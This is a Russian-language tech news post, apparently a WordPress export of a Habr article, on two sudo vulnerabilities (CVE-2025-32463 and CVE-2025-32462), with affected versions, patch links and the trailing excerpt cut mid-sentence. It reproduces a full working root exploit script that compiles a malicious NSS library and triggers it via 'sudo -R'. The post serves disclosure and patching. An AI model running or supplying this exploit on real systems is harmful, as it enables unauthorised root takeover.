{"id":466225,"date":"2025-07-07T15:05:09","date_gmt":"2025-07-07T15:05:09","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=466225"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=466225","title":{"rendered":"<span>\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 sudo, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ea5\/f35\/f20\/ea5f35f203422a1f22b492823786e4a2.png\" width=\"1235\" height=\"610\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/ea5\/f35\/f20\/ea5f35f203422a1f22b492823786e4a2.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ea5\/f35\/f20\/ea5f35f203422a1f22b492823786e4a2.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u0412\u00a0\u043a\u043e\u0434\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b <a href=\"https:\/\/www.sudo.ws\/releases\/stable\/\" rel=\"noopener noreferrer nofollow\">sudo<\/a>, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f\u00a0\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442\u00a0\u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, <a href=\"https:\/\/www.stratascale.com\/vulnerability-alert-CVE-2025-32463-sudo-chroot\" rel=\"noopener noreferrer nofollow\">\u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430<\/a> \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f <a href=\"https:\/\/www.sudo.ws\/security\/advisories\/chroot_bug\/\" rel=\"noopener noreferrer nofollow\">\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a> (<a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">CVE-2025-32463<\/a>), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435\u00a0\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432\u00a0\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. <\/p>\n<p>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432\u00a0Ubuntu 24.04\u00a0\u0438 Fedora 41. <\/p>\n<p>\u041f\u043e <a href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=63505\" rel=\"noopener noreferrer nofollow\">\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/a> OpenNET, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u00a0\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0432\u00a0\u0432\u0435\u0440\u0441\u0438\u044f\u0445 sudo \u0441 1.9.14\u00a0\u043f\u043e 1.9.17\u00a0\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043d\u043e\u043c\u0435\u0440\u0430 1.8.33. <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0432\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 <a href=\"https:\/\/www.sudo.ws\/releases\/stable\/#1.9.17p1\" rel=\"noopener noreferrer nofollow\">sudo 1.9.17p1<\/a>. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438\u043b\u0438\u00a0\u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u00a0\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445 (\u0435\u0441\u043b\u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u0437\u043d\u0430\u0447\u0438\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430 \u0435\u0449\u0451 \u043d\u0435\u00a0\u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043b\u0438 \u043a\u00a0\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b): <a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">Debian<\/a>, <a href=\"https:\/\/people.canonical.com\/~ubuntu-security\/cve\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">Ubuntu<\/a>, <a href=\"https:\/\/koji.fedoraproject.org\/koji\/packageinfo?packageID=122\" rel=\"noopener noreferrer nofollow\">Fedora<\/a>, <a href=\"https:\/\/bugzilla.suse.com\/show_bug.cgi?id=CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">SUSE\/openSUSE<\/a>, <a href=\"https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">RHEL<\/a>, <a href=\"https:\/\/bugs.gentoo.org\/show_bug.cgi?id=CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">Gentoo<\/a> \u0438 Arch (<a href=\"https:\/\/security.archlinux.org\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">1<\/a>, <a href=\"https:\/\/archlinux.org\/packages\/core\/x86_64\/sudo\/\" rel=\"noopener noreferrer nofollow\">2<\/a>). <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e\u00a0\u043f\u0440\u0438\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0438 \u043e\u043f\u0446\u0438\u0438 \u00ab\u2011R\u00bb (\u00ab\u2011chroot\u00bb) \u0434\u043b\u044f\u00a0\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u00a0chroot\u2011\u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0441\u00a0\u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0444\u0430\u0439\u043b \/etc\/nsswitch.conf \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0441\u044f \u0432\u00a0\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430, \u0430\u00a0\u043d\u0435\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0422\u0430\u043a \u043a\u0430\u043a\u00a0\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u00a0\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0434\u043b\u044f\u00a0chroot \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u00a0\u043d\u0451\u043c \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 nsswitch.conf. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Name_Service_Switch\" rel=\"noopener noreferrer nofollow\">NSS<\/a> (Name Service Switch) \u0444\u0430\u0439\u043b \/etc\/nsswitch.conf, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u00a0\u043d\u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0435 \u043a\u00a0\u0432\u044b\u0437\u043e\u0432\u0443 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f NSS \u0432\u00a0\u0444\u043e\u0440\u043c\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u044b\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432\u00a0\u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435. \u041f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0432 \u0441\u0432\u043e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0437\u00a0\u043d\u0435\u0451 \u043a\u043e\u0434\u0430 \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0442\u0430\u043a \u043a\u0430\u043a\u00a0\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 NSS \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0434\u043e\u00a0\u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f\u00a0\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 sudo: <\/p>\n<pre><code class=\"bash\">#!\/bin\/bash STAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat &gt; woot1337.c&lt;&lt;EOF #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; __attribute__((constructor)) void woot(void) {  setreuid(0,0);  setregid(0,0);  chdir(\"\/\");  execl(\"\/bin\/bash\", \"\/bin\/bash\", NULL); } EOF mkdir -p woot\/etc libnss_ echo \"passwd: \/woot1337\" &gt; woot\/etc\/nsswitch.conf cp \/etc\/group woot\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c echo \"woot!\" sudo -R woot woot rm -rf ${STAGE?}<\/code><\/pre>\n<p>\u0412\u00a0\u0432\u0435\u0440\u0441\u0438\u0438 sudo 1.9.17p1 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438\u00a0\u0442\u0430\u043a\u0436\u0435 <a href=\"https:\/\/www.sudo.ws\/security\/advisories\/host_any\/\" rel=\"noopener noreferrer nofollow\">\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430<\/a> \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 <a href=\"https:\/\/www.stratascale.com\/vulnerability-alert-CVE-2025-32462-sudo-host\" rel=\"noopener noreferrer nofollow\">\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a> (<a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2025-32462\" rel=\"noopener noreferrer nofollow\">CVE-2025-32462<\/a>), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u043d\u043e\u00a0\u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u00a0\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u0445 sudoers, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 host \u0432\u00a0\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u00a0\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u043e\u0442\u043b\u0438\u0447\u043d\u043e\u0435 \u043e\u0442\u00a0ALL \u0438\u043b\u0438\u00a0\u0438\u043c\u0435\u043d\u0438 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0445\u043e\u0441\u0442\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u043e\u0439, \u0438\u0437\u2011\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u043f\u0446\u0438\u044f \u00ab\u2011h\u00bb (\u00ab\u2011host\u00bb) \u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u043d\u0435\u00a0\u0442\u043e\u043b\u044c\u043a\u043e \u0432\u00a0\u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441\u00a0\u043e\u043f\u0446\u0438\u0435\u0439 \u00ab\u2011l\u00bb (\u00ab\u2011list\u00bb) \u0434\u043b\u044f\u00a0\u0432\u044b\u0432\u043e\u0434\u0430 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u00a0\u0445\u043e\u0441\u0442\u0443 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u043e\u00a0\u0438 \u043f\u0440\u0438\u00a0\u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0433 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u0438\u00a0\u0432\u044b\u0437\u043e\u0432\u0435 sudo \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b sudoers, \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u00a0\u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430. <\/p>\n<p>\u0414\u043b\u044f\u00a0\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0432\u00a0sudoers, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0432\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u00abtestuser testhost = ALL\u00bb, \u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u00abtestuser\u00bb \u043c\u043e\u0433 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u00absudo \u2011h testhost\u00bb \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root \u043d\u0430\u00a0\u043b\u044e\u0431\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445, \u0430\u00a0\u043d\u0435\u00a0\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u00a0\u0445\u043e\u0441\u0442\u0435 testhost. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u00a0\u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0441\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0432\u0438\u0434\u0430 \u00abtestuser ALL = ALL\u00bb \u0438\u043b\u0438\u00a0\u0431\u0435\u0437\u00a0\u044f\u0432\u043d\u044b\u0445 \u043f\u0440\u0430\u0432\u0438\u043b \u0434\u043b\u044f\u00a0\u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/924560\/\"> https:\/\/habr.com\/ru\/articles\/924560\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u0412\u00a0\u043a\u043e\u0434\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b <a href=\"https:\/\/www.sudo.ws\/releases\/stable\/\" rel=\"noopener noreferrer nofollow\">sudo<\/a>, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u0439 \u0434\u043b\u044f\u00a0\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442\u00a0\u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, <a href=\"https:\/\/www.stratascale.com\/vulnerability-alert-CVE-2025-32463-sudo-chroot\" rel=\"noopener noreferrer nofollow\">\u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430<\/a> \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f <a href=\"https:\/\/www.sudo.ws\/security\/advisories\/chroot_bug\/\" rel=\"noopener noreferrer nofollow\">\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c<\/a> (<a href=\"https:\/\/security-tracker.debian.org\/tracker\/CVE-2025-32463\" rel=\"noopener noreferrer nofollow\">CVE-2025-32463<\/a>), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441\u00a0\u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435\u00a0\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432\u00a0\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. <\/p>\n<p>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432\u00a0Ubuntu 24.04\u00a0\u0438 Fedora 41. <\/p>\n<p>\u041f\u043e <a href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=63505\" rel=\"noopener noreferrer nofollow\">\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/a> OpenNET, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u00a0\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u00a0\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0432\u00a0\u0432\u0435\u0440\u0441\u0438\u044f\u0445 sudo \u0441 1.9.14\u00a0\u043f\u043e 1.9.17\u00a0\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043d\u043e\u043c\u0435\u0440\u0430 1.8.33. <\/p>\n<p>\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 \u0432\u00a0\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 <a href=\"https:\/\/www.sudo.ws\/releases\/stable\/#1.9.17p1\" rel=\"noopener noreferrer nofollow\">sudo 1.9.17p1<\/a>. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c 